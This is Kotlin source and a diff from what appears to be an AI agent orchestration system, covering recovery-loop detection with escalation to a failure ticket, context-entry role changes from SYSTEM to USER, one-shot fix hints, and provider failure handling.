internal fun fileRepairOutcomes(events: List<StoredEvent>, stageId: StageId): List<FileRepairOutcome> {
val invToStage = events.mapNotNull { it.payload as? ToolInvocationRequestedEvent }
.associate { it.invocationId to it.stageId }
val writes = events
.filter { ev ->
val fw = ev.payload as? FileWrittenEvent
fw != null && fw.postImageHash != null && invToStage[fw.invocationId] == stageId
}
.sortedBy { it.sequence }
if (writes.isEmpty()) return emptyList()
val diagRuns = events
.filter { (it.payload as? LspDiagnosticsCompletedEvent)?.stageId == stageId }
.sortedBy { it.sequence }
val paths = writes.map { (it.payload as FileWrittenEvent).path }.distinct()
return paths.map { path ->
val pathWrites = writes.filter { (it.payload as FileWrittenEvent).path == path }
// null = no diagnostic run recorded after that write, which is NOT the same as a clean run.
val codesPerWrite: List<Set<String>?> = pathWrites.map { w ->
diagRuns.firstOrNull { it.sequence > w.sequence }
?.let { (it.payload as LspDiagnosticsCompletedEvent).diagnostics }
?.filter { d -> d.path == path && d.severity.equals("error", ignoreCase = true) && !d.isLint }
?.mapNotNull { it.code }
?.toSet()
}
val checked = codesPerWrite.filterNotNull()
val unchecked = codesPerWrite.last() == null
val resolved = !unchecked && codesPerWrite.last()!!.isEmpty()
FileRepairOutcome(
path = path,
writeCount = pathWrites.size,
resolved = resolved,
unchecked = unchecked,
persistentCodes = if (resolved || checked.isEmpty()) {
emptySet()
} else {
checked.reduce { a, b -> a intersect b }
},
clearedAtWrite = if (resolved) codesPerWrite.indexOfFirst { it?.isEmpty() == true } + 1 else null,
)
}
}
internal fun describeFileRepairOutcome(o: FileRepairOutcome): String {
val header = "${o.path} — written ${o.writeCount}x."
return when {
o.unchecked -> "$header not re-checked since the last write — outcome unknown."
o.resolved && o.writeCount > 1 -> "$header cleared after write ${o.clearedAtWrite}. done, leave it."
o.resolved -> "$header done, leave it."
o.persistentCodes.isNotEmpty() -> "$header ${o.persistentCodes.joinToString(", ")}: present before " +
"AND after every write. Re-writing has not changed the result. Change the fix or report unresolvable."
else -> "$header diagnostic still failing after the last write."
}
}
/** True when [stageId] is itself declared as the graph's recovery/arbiter stage. */
internal fun DefaultSessionOrchestrator.isRecoveryStage(graph: WorkflowGraph, stageId: StageId): Boolean =
graph.stages[stageId]?.metadata?.get("role") == "recovery"
/**
* Same-fingerprint loop-breaker INSIDE the recovery stage itself (Vikunja #309). Recovery runs as a
* single continuous ReAct loop with a generous round ceiling (see maxToolRounds doc in
* SessionOrchestrator.kt) so [repeatedToolFailureLoop]'s cumulative TOOL-failure count never fires
* when every individual file_edit call itself succeeds; only the downstream diagnostic gate keeps
* failing on the same file. Detect that instead, via [fileRepairOutcomes]: a path rewritten [limit]
* times whose diagnostic never cleared is provably stuck, independent of the per-gate progress-aware
* fingerprint (which the whole-reason-string comparison can be fooled by unrelated diagnostics
* elsewhere in the same run make the overall failure text differ each round even though this one
* file's defect never moved).
*/
internal fun DefaultSessionOrchestrator.recoveryFileLoopBreak(
sessionId: SessionId,
stageId: StageId,
limit: Int,
): String? {
val stuck = fileRepairOutcomes(repositories.eventStore.read(sessionId), stageId)
// `unchecked` is excluded deliberately: killing a run terminally demands recorded proof the
// rewrites aren't working, not the absence of proof that they are.
.firstOrNull { !it.resolved && !it.unchecked && it.writeCount >= limit }
?: return null
val codes = stuck.persistentCodes.takeIf { it.isNotEmpty() }?.joinToString(", ") ?: "its diagnostic"
return "recovery stage ${stageId.value} rewrote '${stuck.path}' ${stuck.writeCount}x without " +
"clearing $codes — the same fix has not changed the result. A materially different fix is " +
"required; escalating instead of continuing to loop."
}
/**
* Terminal escalation for [recoveryFileLoopBreak]. Recovery is the last-resort stage there is no
* further tier to route to but the run still opens a [FailureTicketOpenedEvent] (the same
* machinery every other escalation uses, so the stuck file is durably recorded and visible to the
* operator/dashboards) before failing the workflow terminally, rather than looping again.
*/
internal suspend fun DefaultSessionOrchestrator.escalateRecoveryLoop(
ctx: EnrichedExecutionContext,
stageId: StageId,
gate: String,
reason: String,
): WorkflowResult {
emit(
ctx.sessionId,
FailureTicketOpenedEvent(
sessionId = ctx.sessionId,
stageId = stageId,
gate = RECOVERY_LOOP_BREAK_GATE,
category = ticketCategory(gate),
requiredCapability = "file_write",
routeTo = stageId,
evidence = reason,
routeAttempt = 1,
fingerprint = FailureFingerprint.of(reason),
escalated = true,
),
)
return failWorkflow(ctx.sessionId, stageId, reason, retryExhausted = true)
}
@@ -151,6 +151,13 @@ internal val REQUIRED_SOURCE_TYPES = setOf(
// #290: original intent stays unprunable via the REQUIRED bucket now that it renders as
// L1/USER instead of relying on the old L0/SYSTEM never-drop placement.
"initialIntent",
// The recovery stage is entered by kernel routing and exists ONLY because of its ticket, so
// pruning the ticket leaves it with nothing to repair. Grounding findings are the same shape:
// the architect was handed its plan back, and without them it re-emits the identical plan.
// Both are single latest-state entries (lastOrNull), so pinning adds two entries, not two per
// retry, and both clear themselves — groundingFeedback on a PASS verdict, the ticket on close.
"groundingFeedback",
"recoveryTicket",
)
// HTTP statuses that are transient despite being 4xx (F-002 retry classification).
@@ -248,6 +255,11 @@ abstract class SessionOrchestrator(
*/
internal val artifactContentCache: ConcurrentHashMap<String, String> = ConcurrentHashMap()
// ACR Store 1: in-process memo of describe().render(), keyed on (repoRoot, path, contentHash).
// Disposable — the source of truth is FileWrittenEvent + CAS; this only skips recomputing a pure
// function of content-addressed bytes. Empty string = a computed "no descriptor" (negative cache).
internal val descriptorMemo: ConcurrentHashMap<String, String> = ConcurrentHashMap()
/** Drops a terminated session's cached artifact contents (the heaviest per-session state full
* file/JSON payloads). Safe: rehydrateArtifactContentCache rebuilds it from durable events if the
* session is ever resumed. Called on WorkflowCompleted/WorkflowFailed. */
@@ -322,7 +334,15 @@ abstract class SessionOrchestrator(
// ToolCalling score and routes the stage to the best tool-caller.
val requiredCapabilities = stageConfig.requiredCapabilities +
if (withTools && stageConfig.allowedTools.isNotEmpty()) setOf(ModelCapability.ToolCalling) else emptySet()
val provider = inferenceRouter.route(stageId, requiredCapabilities, stageConfig.modelId)
// Routing itself can fail transiently (provider mid-crash-recovery) — it must be retryable
// like any other inference failure, not escape and kill the whole session (see #299).
val provider = try {
inferenceRouter.route(stageId, requiredCapabilities, stageConfig.modelId)
} catch (e: CancellationException) {
throw e
} catch (e: Exception) {
return InferenceResult.Failed(e.message ?: "routing failed")
}
log.debug(
"[Orchestrator] inference session={} stage={} provider={} timeoutMs={}",
sessionId.value, stageId.value, provider.id.value, timeoutMs,
@@ -341,10 +361,20 @@ abstract class SessionOrchestrator(
// Read the log ONCE for the read-only check instead of once per tool inside the filter
// (the flag is tool-independent) — this filter runs per tool per inference round.
val readOnlyMode = isReadOnlyMode(sessionId)
stageConfig.effectiveAllowedTools
// tool_output is withheld until the session has actually spilled an over-cap output to
// CAS — only then can it retrieve anything, and only then is its hash-ref marker in play.
val toolNames = stageConfig.effectiveAllowedTools.let { declared ->
if (declared.isNotEmpty() && sessionHasSpilledOutput(sessionId)) {
declared + TOOL_OUTPUT_TOOL
} else {
declared
}
}
toolNames
.mapNotNull { effectives.registry?.resolve(it) }
.filter { tool ->
// ponytail: filter write tools while read-before-write block is active; restored once a read completes
// ponytail: filter write tools while read-before-write block is active;
// restored once a read completes
!readOnlyMode || ToolCapability.FILE_WRITE !in tool.requiredCapabilities
}
.filter { tool ->
@@ -363,8 +393,8 @@ abstract class SessionOrchestrator(
} + ToolDefinition(
function = ToolFunction(
name = STAGE_COMPLETE_TOOL,
description = "Call this tool when the stage's goal is fully met and no further tool calls are needed. " +
"The orchestrator will proceed to the next stage.",
description = "Call this tool when the stage's goal is fully met and no " +
"further tool calls are needed. The orchestrator will proceed to the next stage.",
parameters = JsonObject(emptyMap()),
),
) + emitArtifactTool(stageConfig)
@@ -423,6 +453,13 @@ abstract class SessionOrchestrator(
} catch (e: CancellationException) {
throw e // never swallow
} catch (e: Exception) {
if (isConnectionLevelFailure(e)) {
// Mark it down NOW instead of waiting for the next periodic health poll (~18s lag,
// see #300) — the retry's route() call must see this provider as unavailable
// immediately so it gates/waits (#299) rather than instantly re-selecting the dead
// provider again.
inferenceRouter.reportFailure(provider.id, e.message ?: "connection failure")
}
emit(
sessionId,
InferenceFailedEvent(
@@ -437,6 +474,19 @@ abstract class SessionOrchestrator(
}
}
// Connection-level failures (provider crashed/restarting mid-request) should gate routing
// immediately; other failures (bad request, model error, HTTP 4xx) should not mark the
// provider down since the provider itself is still reachable.
private fun isConnectionLevelFailure(e: Exception): Boolean {
val message = e.message.orEmpty()
return e is java.net.ConnectException ||
e is java.net.SocketException ||
e is java.io.IOException || // covers ktor/CIO's IOException, which extends java.io.IOException on the JVM
message.contains("prematurely closed", ignoreCase = true) ||
message.contains("connection refused", ignoreCase = true) ||
message.contains("connection reset", ignoreCase = true)
}
// --- token estimation ---
internal open suspend fun estimateTokens(content: String): Int {
@@ -207,6 +207,7 @@ internal suspend fun SessionOrchestrator.fileWrittenManifest(sessionId: SessionI
.groupBy { it.path }
.mapValues { (_, writes) -> writes.last() }
if (latestWrites.isEmpty()) return null
val repoRoot = workspacePolicy?.workspaceRoot?.toString().orEmpty()
return buildString {
appendLine(
"Files written by the producing stage. Each line gives the authoritative CAS image and a " +
@@ -215,9 +216,7 @@ internal suspend fun SessionOrchestrator.fileWrittenManifest(sessionId: SessionI
)
latestWrites.toSortedMap().forEach { (path, write) ->
val hash = write.postImageHash ?: return@forEach
val descriptor = artifactStore.get(ArtifactId(hash))
?.let { describe(path, it).render() }
?.takeIf { it.isNotBlank() }
val descriptor = describeCached(repoRoot, path, hash)
val stage = invToStage[write.invocationId]?.value
append("- $path")
stage?.let { append(" [by $it]") }
@@ -250,13 +249,13 @@ internal suspend fun SessionOrchestrator.sessionWrittenHits(
.groupBy { it.path }
.mapValues { (_, writes) -> writes.last() }
if (latestWrites.isEmpty()) return emptyList()
val repoRoot = workspacePolicy?.workspaceRoot?.toString().orEmpty()
return latestWrites.values
.sortedByDescending { it.timestampMs }
.take(tuning.repoMapInjectTopK)
.mapNotNull { write ->
val hash = write.postImageHash ?: return@mapNotNull null
val descriptor = artifactStore.get(ArtifactId(hash))?.let { describe(write.path, it).render() }
?.takeIf { it.isNotBlank() }
val descriptor = describeCached(repoRoot, write.path, hash)
val text = if (descriptor != null) "${write.path}: $descriptor" else write.path
RepoKnowledgeHit(path = write.path, text = text, score = 1.0f)
}
@@ -4,8 +4,13 @@ import com.correx.core.context.model.ContextEntry
import com.correx.core.context.model.ContextLayer
import com.correx.core.context.model.EntryRole
import com.correx.core.events.events.ConceptPromotedEvent
import com.correx.core.events.events.ContextAssembledEvent
import com.correx.core.events.events.RetryAttemptedEvent
import com.correx.core.events.events.StoredEvent
import com.correx.core.events.types.ContextEntryId
import com.correx.core.events.types.StageId
import com.correx.core.kernel.concept.ConceptCompilerProjection
import com.correx.core.kernel.concept.conceptClassKey
import com.correx.core.transitions.graph.StageConfig
import java.util.UUID
@@ -61,9 +66,106 @@ internal suspend fun SessionOrchestrator.promotedConceptEntries(stageConfig: Sta
sourceType = "promotedConcept",
sourceId = concept.classKey.ifBlank { concept.fingerprint },
tokenEstimate = estimateTokens(content),
role = EntryRole.SYSTEM,
// #312: folded from the whole log including THIS run, so a concept promoted or
// contradicted mid-run changes the set between stages. Mutable ⇒ USER.
role = EntryRole.USER,
)
}
}
/**
* Store 2 fix-confidence lifecycle (docs/plans/2026-07-21-acr-knowledge-accretion.md §Store 2): a
* classKey below the hard-promotion threshold isn't silence [ConceptCompilerProjection] already
* tracks it as `unconfirmed` (validatedFixes 1..threshold-1) or `falsified` (contradicted). Reactively
* matched against the CURRENT retry's own classKey (same normalization the compiler uses) and
* delivered as a soft, one-shot hint (or steer-away) BEFORE the cluster earns hard promotion. Once
* `classKey` is in [state.promoted][com.correx.core.kernel.concept.ConceptCompilerState.promoted] the
* hard-promoted delivery ([promotedConceptEntries]) already covers it, so this is skipped to avoid
* double delivery.
*
* Genuinely one-shot per retry occurrence (#306): the hint is keyed to the LATEST
* [RetryAttemptedEvent] for this stage, and is only injected while that retry hasn't yet been
* delivered derived by folding prior [ContextAssembledEvent] manifests (sourceType="unconfirmedFix",
* sourceId=classKey) recorded AFTER that retry's own position in the log. So a fresh contradicted
* retry injects the steer-away exactly once (the first context build following it); every later
* rebuild for the SAME retry occurrence whether more tool rounds in this attempt or a subsequent
* stage retry that hasn't reproduced the class again sees the prior delivery and stays silent. A
* later, NEW `RetryAttemptedEvent` of the same classKey (the class recurred) advances "latest" past
* that delivery and earns one fresh injection of its own. No new mutable state: purely a fold over
* existing events (invariant #9).
*/
internal suspend fun SessionOrchestrator.unconfirmedFixEntries(
sessionEvents: List<StoredEvent>,
stageId: StageId,
): List<ContextEntry> {
val latestRetry = sessionEvents.lastOrNull { (it.payload as? RetryAttemptedEvent)?.stageId == stageId }
val latest = latestRetry?.payload as? RetryAttemptedEvent
val sig = latest?.failureReason?.lineSequence()?.firstOrNull()?.take(SIGNATURE_MAX)?.trim().orEmpty()
val classKey = latest?.let { conceptClassKey(it.gate, sig) }
val projection = ConceptCompilerProjection()
val state = eventStore.allEvents().fold(projection.initial(), projection::apply)
val cluster = classKey?.takeIf { it !in state.promoted }?.let { state.clusters[it] }
val content = when {
cluster == null -> null
cluster.contradicted ->
"## Steer away from a known dead end\nA prior attempt at this exact failure class " +
"(${cluster.signature}) was tried before and a later failure showed it did NOT hold. " +
"Do not repeat that approach — find a materially different fix."
cluster.validatedFixes >= 1 ->
"## Unconfirmed prior fix (validated ${cluster.validatedFixes}x, not yet settled)\n" +
"This failure class (${cluster.signature}) was resolved before" +
(cluster.fixPath?.let { " in `$it`" } ?: "") + " — worth trying first, but it hasn't " +
"recurred enough times across sessions to be a certain fix here. Verify it actually applies."
else -> null
}
val deliverable = deliverableUnconfirmedFix(content, classKey, latestRetry, sessionEvents)
val entry = deliverable?.let { (text, key) ->
ContextEntry(
id = ContextEntryId(UUID.randomUUID().toString()),
layer = ContextLayer.L1,
content = text,
sourceType = "unconfirmedFix",
sourceId = key,
tokenEstimate = estimateTokens(text),
role = EntryRole.USER,
)
}
return listOfNotNull(entry)
}
/**
* (content, classKey) pair to deliver, or null if any of the one-shot preconditions fail: no
* content derived, no classKey (no retry seen), no retry event to anchor the delivery check
* against, or the classKey was already delivered for this retry occurrence. Split out of
* [unconfirmedFixEntries] to keep that function's branching flat.
*/
private fun deliverableUnconfirmedFix(
content: String?,
classKey: String?,
latestRetry: StoredEvent?,
sessionEvents: List<StoredEvent>,
): Pair<String, String>? = content?.let { text ->
classKey?.let { key ->
latestRetry
?.takeUnless { unconfirmedFixAlreadyDelivered(sessionEvents, it.sessionSequence, key) }
?.let { text to key }
}
}
/**
* True when a prior [ContextAssembledEvent] manifest already recorded delivery of the
* "unconfirmedFix" hint for [classKey] AFTER [afterSequence] (the triggering retry's own
* position in the session log). Pure fold over recorded events see #306.
*/
internal fun unconfirmedFixAlreadyDelivered(
sessionEvents: List<StoredEvent>,
afterSequence: Long,
classKey: String,
): Boolean = sessionEvents.any { stored ->
stored.sessionSequence > afterSequence &&
(stored.payload as? ContextAssembledEvent)?.entries.orEmpty()
.any { it.sourceType == "unconfirmedFix" && it.sourceId == classKey }
}
private const val SIGNATURE_MAX = 200
private const val MAX_PROMOTED_CONCEPTS = 3
@@ -52,11 +52,21 @@ internal fun SessionOrchestrator.evictArtifactContentCache(sessionId: SessionId)
internal suspend fun SessionOrchestrator.buildSchemaEntries(
responseFormat: ResponseFormat,
stageId: StageId,
artifactName: String,
): List<ContextEntry> {
if (responseFormat !is ResponseFormat.Json) return emptyList()
val compactSchema = Json.encodeToString(JsonSchema.serializer(), responseFormat.schema)
val instruction = "Respond with a single JSON object matching this schema. " +
"Do not include markdown, code fences, or commentary outside the JSON. " +
// #416: names emit_artifact as the channel. ResponseFormat.Json is emitted under exactly the
// condition that offers the tool (an llmEmitted slot — see emitArtifactTool), so the tool is
// always available here, and the kernel prefers it: tool-calling models are more reliable at it
// and it sidesteps llama.cpp's grammar+tools incompatibility. The old text said only "respond
// with a single JSON object", contradicting every role prompt that says to call emit_artifact.
// Raw JSON stays valid as the second sentence describes, since the executor accepts either
// (llmArtifactOverride ?: response.text) and the tools-less final pass explicitly demands it.
val instruction = "Produce the '$artifactName' artifact by calling the $EMIT_ARTIFACT_TOOL tool " +
"with its fields filled in, matching this schema. If you are told to stop calling tools, " +
"output the same object as a single JSON object in your final message instead. Either way, " +
"no markdown, no code fences, and no commentary outside the JSON. " +
"Schema: $compactSchema"
return listOf(
ContextEntry(
@@ -85,7 +95,10 @@ internal suspend fun SessionOrchestrator.buildSteeringNoteEntries(sessionId: Ses
sourceType = "steeringNote",
sourceId = p.stageId?.value ?: sessionId.value,
tokenEstimate = estimateTokens(p.content),
role = EntryRole.SYSTEM,
// #312: an operator steering note arrives mid-run by definition — mutable ⇒ USER,
// same as the unlocked path below. Locked notes keep L0 so they stay pinned against
// the budget; PromptRenderer still restates every note as a trailing anchor.
role = EntryRole.USER,
)
// An operator steering note attached to a decision is a real instruction; keep it.
// Bare rejections are consolidated separately (buildRejectionFeedbackEntry) so they
@@ -140,18 +153,20 @@ fun buildRejectionFeedbackEntry(events: List<StoredEvent>, stageId: StageId): Co
sourceType = "rejectionFeedback",
sourceId = stageId.value,
tokenEstimate = content.length / 4,
role = EntryRole.SYSTEM,
// #312: literally operator voice ("the operator declined"), and it grows mid-stage as more
// calls are rejected — USER, trailing slot.
role = EntryRole.USER,
)
}
/**
* Injects the initial user intent (the freeform request that started the run) as a pinned L0
* SYSTEM entry present in EVERY stage's context (architecture-conformance, 2026-07-14). The intent
* Injects the initial user intent (the freeform request that started the run) as an L1 USER entry
* present in EVERY stage's context (architecture-conformance, 2026-07-14). The intent
* is the single most load-bearing constraint of a run, yet it previously reached normal stages only
* as a repo-map retrieval seed (repoKnowledgeQuery) or, on the rare Tier-2 recovery path, the
* arbiter ticket so an implementer could drift from the goal with the goal itself absent from its
* authoritative context. Standing at L0/SYSTEM it is weighted as an instruction and never dropped
* under budget. Absent for fixed-task workflows (no InitialIntentEvent) empty.
* authoritative context. It is REQUIRED-bucket, so it is never dropped under budget. Absent for
* fixed-task workflows (no InitialIntentEvent) empty.
*/
internal suspend fun SessionOrchestrator.buildIntentEntry(sessionId: SessionId): List<ContextEntry> {
@@ -183,8 +198,9 @@ internal fun SessionOrchestrator.initialIntent(sessionId: SessionId): String? =
/**
* Injects the operator's answers to a stage's open questions as a pinned L0 SYSTEM entry, so the
* stage sees its own questions resolved on the clarification re-run. The prompt calls these answers
* "authoritative", so they are placed as authoritative standing instructions (L0/SYSTEM), not a
* droppable L2 USER turn matching the mechanics to the stated authority. Correlates each answer's
* "authoritative", so they are pinned as standing context (L0) rather than a droppable L2 turn
* matching the mechanics to the stated authority. They render as USER (#312): these are the
* operator's own words, and the set grows with each clarification round. Correlates each answer's
* questionId back to the prompt recorded on the [ClarificationRequestedEvent].
*/
@@ -209,7 +225,8 @@ internal suspend fun SessionOrchestrator.buildClarificationAnswerEntries(session
sourceType = "clarificationAnswer",
sourceId = sessionId.value,
tokenEstimate = estimateTokens(content),
role = EntryRole.SYSTEM,
// #312: operator's own words, and the set grows per clarification round — USER.
role = EntryRole.USER,
),
)
}
@@ -105,6 +105,13 @@ internal suspend fun SessionOrchestrator.executeStage(
// Known-good workspace invariant (design 2026-07-15 seam 2): tell the stage whether the last
// green build is still valid for the current workspace state, or stale and needing re-verification.
val verifiedBaseline = verifiedBaselineEntries(sessionId)
// #416: the stage role prompt IS the stage's system prompt, so it renders L0/SYSTEM and folds into
// the leading system message. It used to be L1/USER, which made it a user turn arriving behind the
// intent, decision journal, repo map and docs catalog — outranked by the schemaInstruction that
// contradicts it, while PromptRenderer's own rule reserves the system block for exactly this kind of
// content ("prompts, guidance, profiles" — what does not change during a run). Pinning is unchanged:
// agentPrompt is in REQUIRED_SOURCE_TYPES, so it was never prunable at either layer.
//
// A stage re-entered to repair a gate failure has its own (often generative/"scaffold") prompt
// SUPPRESSED: that mandate is what drove it to overwrite real files with stubs on re-entry. The
// recovery-ticket entry (buildRecoveryTicketEntry) is the sole mandate here — it already carries
@@ -115,19 +122,7 @@ internal suspend fun SessionOrchestrator.executeStage(
} else {
stageConfig.metadata["promptInline"]
?.takeIf { it.isNotBlank() }
?.let { text ->
listOf(
ContextEntry(
id = ContextEntryId(UUID.randomUUID().toString()),
layer = ContextLayer.L1,
content = text,
sourceType = "agentPrompt",
sourceId = stageId.value,
tokenEstimate = estimateTokens(text),
role = EntryRole.USER,
),
)
}
?.let { text -> listOf(buildAgentPromptEntry(text, stageId, estimateTokens(text))) }
?: stageConfig.metadata["prompt"]
?.let { path ->
val resolvedText = runCatching { promptResolver.resolve(path) }
@@ -143,17 +138,7 @@ internal suspend fun SessionOrchestrator.executeStage(
"[SessionOrchestrator] stage=${stageId.value}: " +
"declared prompt '$path' could not be resolved",
)
listOf(
ContextEntry(
id = ContextEntryId(UUID.randomUUID().toString()),
layer = ContextLayer.L1,
content = text,
sourceType = "agentPrompt",
sourceId = stageId.value,
tokenEstimate = estimateTokens(text),
role = EntryRole.USER,
),
)
listOf(buildAgentPromptEntry(text, stageId, estimateTokens(text)))
}
?: emptyList()
}
@@ -167,7 +152,11 @@ internal suspend fun SessionOrchestrator.executeStage(
?.let { ResponseFormat.Json(it.kind.deriveJsonSchema()) }
?: ResponseFormat.Text
val schemaEntries = buildSchemaEntries(responseFormat, stageId)
val schemaEntries = buildSchemaEntries(
responseFormat,
stageId,
llmEmittedSlots.firstOrNull()?.name?.value ?: "",
)
val intentEntries = buildIntentEntry(sessionId)
val steeringEntries = buildSteeringNoteEntries(sessionId)
val clarificationEntries = buildClarificationAnswerEntries(sessionId)
@@ -245,6 +234,9 @@ internal suspend fun SessionOrchestrator.executeStage(
?.let { listOf(it) } ?: emptyList()
val recoveryTicketEntries = buildRecoveryTicketEntry(sessionEvents, stageId)
?.let { listOf(it) } ?: emptyList()
// Store 2 soft-confidence lifecycle (below hard-promotion threshold): reactive hint/steer-away
// matched to THIS retry's own classKey, see unconfirmedFixEntries.
val unconfirmedFixHints = unconfirmedFixEntries(sessionEvents, stageId)
val vocabularyEntries = artifactKindRegistry
?.takeIf { stageConfig.metadata["injectArtifactKinds"] == "true" }
?.let { listOf(buildArtifactKindVocabularyEntry(it.list())) } ?: emptyList()
@@ -261,7 +253,8 @@ internal suspend fun SessionOrchestrator.executeStage(
sourceType = "claimedTask",
sourceId = stageId.value,
tokenEstimate = estimateTokens(bundle),
role = EntryRole.SYSTEM,
// #312: the claim advances as the run progresses — mutable ⇒ USER (stays L0).
role = EntryRole.USER,
),
)
} ?: emptyList()
@@ -276,12 +269,19 @@ internal suspend fun SessionOrchestrator.executeStage(
val remainingDeltaEntries = remainingDeltaResults
?.let { buildRemainingDeltaEntry(contractFailureItems(it)) }
?.let { listOf(it) } ?: emptyList()
// #416: promptEntries sits directly after systemPrompt. System entries render in (layer, ordinal)
// order and the builder stamps ordinals by position, so this puts the role mandate at the head of
// the system block — adjacent to the generic preamble it extends, and ahead of the schema
// instruction. It used to trail schemaEntries, which is how a pinned "respond with JSON only"
// ended up outranking the role's own emit_artifact instruction.
var accumulatedEntries = stampBuckets(
systemPrompt + operatingGuidance + promotedConcepts + successfulPlanShapes + verifiedBaseline + intentEntries + profileEntries + projectProfileEntries + agentInstructionsEntries +
systemPrompt + promptEntries + operatingGuidance + promotedConcepts + successfulPlanShapes +
verifiedBaseline +
intentEntries + profileEntries + projectProfileEntries + agentInstructionsEntries +
journalEntries + repoMapEntries + claimedTaskEntries +
needsEntries + schemaEntries + vocabularyEntries + promptEntries + steeringEntries +
rejectionEntries + clarificationEntries + retryFeedbackEntries + groundingFeedbackEntries + recoveryTicketEntries +
remainingDeltaEntries,
needsEntries + schemaEntries + vocabularyEntries + steeringEntries +
rejectionEntries + clarificationEntries + retryFeedbackEntries + groundingFeedbackEntries +
recoveryTicketEntries + unconfirmedFixHints + remainingDeltaEntries,
)
val contextPack = runCatching {
contextPackBuilder.build(
@@ -299,6 +299,12 @@ internal suspend fun SessionOrchestrator.executeStage(
return StageExecutionResult.Failure(e.message ?: "required context overflow", retryable = false)
}
emitContextTruncationIfNeeded(sessionId, stageId, contextPack)
emitContextAssembled(sessionId, stageId, contextPack)
// #306, within-stage half: the delivery fold in unconfirmedFixEntries only runs at stage entry,
// so on its own it stops re-injection across ENTRIES, not across the turns of one entry — every
// pushBack rebuild re-uses accumulatedEntries and would carry the steer-away into all of them
// (7 consecutive turns, session d734e1de). It is one-shot by definition: drop it once delivered.
accumulatedEntries = accumulatedEntries.filterNot { it.sourceType == "unconfirmedFix" }
var currentContext = contextPack
var inferenceResult = runInference(
@@ -361,6 +367,7 @@ internal suspend fun SessionOrchestrator.executeStage(
budget = TokenBudget(limit = stageConfig.tokenBudget),
)
emitContextTruncationIfNeeded(sessionId, stageId, currentContext)
emitContextAssembled(sessionId, stageId, currentContext)
toolRounds++
return runInference(
sessionId, stageId, currentContext, stageConfig, config.stageTimeoutMs, responseFormat, effectives,
@@ -397,7 +404,9 @@ internal suspend fun SessionOrchestrator.executeStage(
val emitCall = inferenceResult.response.toolCalls.firstOrNull { it.function.name == EMIT_ARTIFACT_TOOL }
if (emitCall != null && llmEmittedSlots.isNotEmpty()) {
val emitSlot = llmEmittedSlots.first()
when (val res = artifactExtractionPipeline.run(emitCall.function.arguments, emitSlot.kind.deriveJsonSchema())) {
when (
val res = artifactExtractionPipeline.run(emitCall.function.arguments, emitSlot.kind.deriveJsonSchema())
) {
is ArtifactExtractionPipeline.ExtractionResult.Resolved -> {
llmArtifactOverride = res.canonicalJson.toString()
break
@@ -529,6 +538,13 @@ internal suspend fun SessionOrchestrator.executeStage(
val refreshed = remainingDeltaResults?.let { buildRemainingDeltaEntry(contractFailureItems(it)) }
accumulatedEntries = accumulatedEntries.filterNot { it.sourceType == "remainingDelta" } +
listOfNotNull(refreshed)
// #461: the same cache-until-write logic applied to a frozen lsp_diagnostics repair
// mandate. Without it the agent keeps editing against a diagnostic it may already have
// cleared and only learns otherwise after stage_complete re-runs the gate.
refreshLspRetryMandate(sessionId, stageId, effectives)?.let { mandate ->
accumulatedEntries = accumulatedEntries.filterNot { it.sourceType == "retryFeedback" } +
mandate
}
}
currentContext = contextPackBuilder.build(
id = ContextPackId(UUID.randomUUID().toString()),
@@ -538,6 +554,7 @@ internal suspend fun SessionOrchestrator.executeStage(
budget = TokenBudget(limit = stageConfig.tokenBudget),
)
emitContextTruncationIfNeeded(sessionId, stageId, currentContext)
emitContextAssembled(sessionId, stageId, currentContext)
inferenceResult = runInference(
sessionId, stageId, currentContext, stageConfig, config.stageTimeoutMs, responseFormat, effectives,
)
@@ -571,6 +588,7 @@ internal suspend fun SessionOrchestrator.executeStage(
entries = accumulatedEntries,
budget = TokenBudget(limit = stageConfig.tokenBudget),
)
emitContextAssembled(sessionId, stageId, currentContext)
inferenceResult = runInference(
sessionId, stageId, currentContext, stageConfig, config.stageTimeoutMs,
responseFormat, effectives, withTools = false,
@@ -597,13 +615,19 @@ internal suspend fun SessionOrchestrator.executeStage(
when (val res = artifactExtractionPipeline.run(rawArtifactText, slot.kind.deriveJsonSchema())) {
is ArtifactExtractionPipeline.ExtractionResult.Resolved -> {
if (res.repaired) {
emitArtifactRepairAttempted(sessionId, stageId, slot, ArtifactFailure.FORMATTING, "DETERMINISTIC")
emitArtifactRepairAttempted(
sessionId, stageId, slot, ArtifactFailure.FORMATTING, "DETERMINISTIC",
)
emitArtifactRepairResolved(sessionId, stageId, slot, res.canonicalJson.toString())
}
res.canonicalJson.toString()
}
is ArtifactExtractionPipeline.ExtractionResult.Unresolved ->
when (val ladder = repairArtifact(sessionId, stageId, slot, res, stageConfig, effectives, config.stageTimeoutMs)) {
when (
val ladder = repairArtifact(
sessionId, stageId, slot, res, stageConfig, effectives, config.stageTimeoutMs,
)
) {
is ArtifactLadderOutcome.Text -> ladder.text
is ArtifactLadderOutcome.Reject -> return ladder.failure
}
@@ -364,18 +364,6 @@ internal fun SessionOrchestrator.sessionProducedBuildTarget(sessionId: SessionId
KindContractTable.assertionsFor(kind, path).any { it.id == "imports_resolve" }
}
internal fun SessionOrchestrator.stageWrittenPaths(sessionId: SessionId, stageId: StageId): List<String> {
val events = eventStore.read(sessionId)
val invocationIds = events.mapNotNull { it.payload as? ToolInvocationRequestedEvent }
.filter { it.stageId == stageId }
.map { it.invocationId }
.toSet()
return events.mapNotNull { it.payload as? FileWrittenEvent }
.filter { it.invocationId in invocationIds && it.postImageHash != null }
.map { it.path }
.distinct()
}
/**
* Static-first reviewer gate (role-reliability §5): for a stage that declares `static_analysis`
* commands, run them (compiler / detekt / formatters) against its just-produced output in the
@@ -97,7 +97,9 @@ internal suspend fun SessionOrchestrator.runLspDiagnostics(
sessionId,
LspDiagnosticsCompletedEvent(sessionId, stageId, result.server, diagnostics, result.skippedReason),
)
val errors = diagnostics.filter { it.severity.equals("error", ignoreCase = true) }
// Lint-class diagnostics (unused import, deprecated) are recorded above but never gate: a
// tsconfig with noUnusedLocals promotes them to "error" severity, which no rewrite can clear.
val errors = diagnostics.filter { it.severity.equals("error", ignoreCase = true) && !it.isLint }
if (errors.isEmpty()) return StageExecutionResult.Success(emptyList())
val detail = errors.joinToString("\n") {
"- ${it.path}:${it.line + 1}:${it.character + 1} ${it.code.orEmpty()} ${it.message}".trim()
@@ -105,7 +107,7 @@ internal suspend fun SessionOrchestrator.runLspDiagnostics(
return StageExecutionResult.Failure(
"stage ${stageId.value} has LSP diagnostics in files it wrote. Fix these before proceeding:\n$detail",
retryable = true,
gate = "lsp_diagnostics",
gate = LSP_DIAGNOSTICS_GATE,
)
}
